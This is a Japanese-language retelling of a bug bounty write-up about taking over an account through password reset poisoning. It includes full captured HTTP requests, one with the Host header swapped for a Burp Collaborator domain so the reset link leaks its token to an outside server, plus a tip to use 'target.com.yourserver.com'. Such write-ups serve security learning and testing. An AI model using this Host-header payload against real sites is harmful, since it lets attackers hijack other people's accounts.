My First Account Takeover Via Password Reset Poisoning から学ぶ

ソース:

medium.com

脆弱性:ATO

 

訳:

サブドメインをテストしていて、そのパスワードのリセット機能に気づきました。
URL は次のような感じでした。 

 

target.com/reset-password

 

私はすぐに電子メールを入力しました。
この特定のデモンストレーションでは、それが abc@d.com だったとします。
私はすぐに BurpSuite を起動し、リクエストをキャプチャしました。
リクエストは次のようなものでした。 

 

POST /reset-password HTTP/1.1
Host: target.com
Connection: close
Content-Length: 153
Cache-Control: max-age=0
sec-ch-ua: "Not A(Brand";v="99", "Brave";v="121", "Chromium";v="121"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://target.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8
Sec-GPC: 1
Accept-Language: en-US,en;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://target.com/reset-password
Cookie: passedAgeGate=1; PHPSESSID=e06te8j4gqus9kcsjq2n6okpsb

reset_password_request_form%5Bemail%5D=abc@d.com&reset_password_request_form%5B_token%5D=IAnrYXeFLk6hzMluvOJlPFyMJlwIvvR9ROgUmS0Ls6I

 

ここで私がやったことは、Burp CollaboratorクライアントタブからBurp Collaboratorクライアントをコピーし、ヘッダーの 「Host」 を次のように変更することでした。 

 

Host: target.com.burpcollaboratorclient.com

 

したがって、最終的なリクエストは次のようになります。 

 

POST /reset-password HTTP/1.1
Host: target.com.burpcollaboratorclient.com
Connection: close
Content-Length: 153
Cache-Control: max-age=0
sec-ch-ua: "Not A(Brand";v="99", "Brave";v="121", "Chromium";v="121"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://target.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8
Sec-GPC: 1
Accept-Language: en-US,en;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://target.com/reset-password
Cookie: passedAgeGate=1; PHPSESSID=e06te8j4gqus9kcsjq2n6okpsb

reset_password_request_form%5Bemail%5D=abc@d.com&reset_password_request_form%5B_token%5D=IAnrYXeFLk6hzMluvOJlPFyMJlwIvvR9ROgUmS0Ls6I

 

リクエストを送信すると、 「200 OK」 という応答が返されました。

ここで自分の電子メール アカウントにアクセスして確認すると、次のようなパスワード リセット リンクが送信されていました。

 

パスワードリセットリンクがメールで送信されました

すぐにリンクをクリックすると、次のように表示されます。

 

 

トークンを盗む時が来ました。 Burp Collaborator Client タブに戻り、 Poll Now をクリックしてビンゴ! いくつかの HTTP リクエストと DNS リクエストを受け取りました。 HTTP リクエストの 1 つをクリックすると、以下に示すようにリクエストでトークンが漏洩していました。 

 

HTTP および DNS リクエストを表示する Burp Collaborator クライアント

ここで、すぐにトークンをコピーし、次の URL に移動しました。

 

https://target.com/reset/token

 

 次のような新しいパスワードを入力できるページに移動しました。 

 

パスワードリセットページ

新しいパスワードを入力し、「パスワードをリセット」をクリックしました。
次に、ログインページに移動して、メールアドレスと新しいパスワードを入力すると、アカウントに正常にログインできました。

プロのヒント: パスワード リセット ポイズニングをテストするときは、必ず [ホスト] の値を target.com.yourserver.com に変更してください。

 

ほなほな。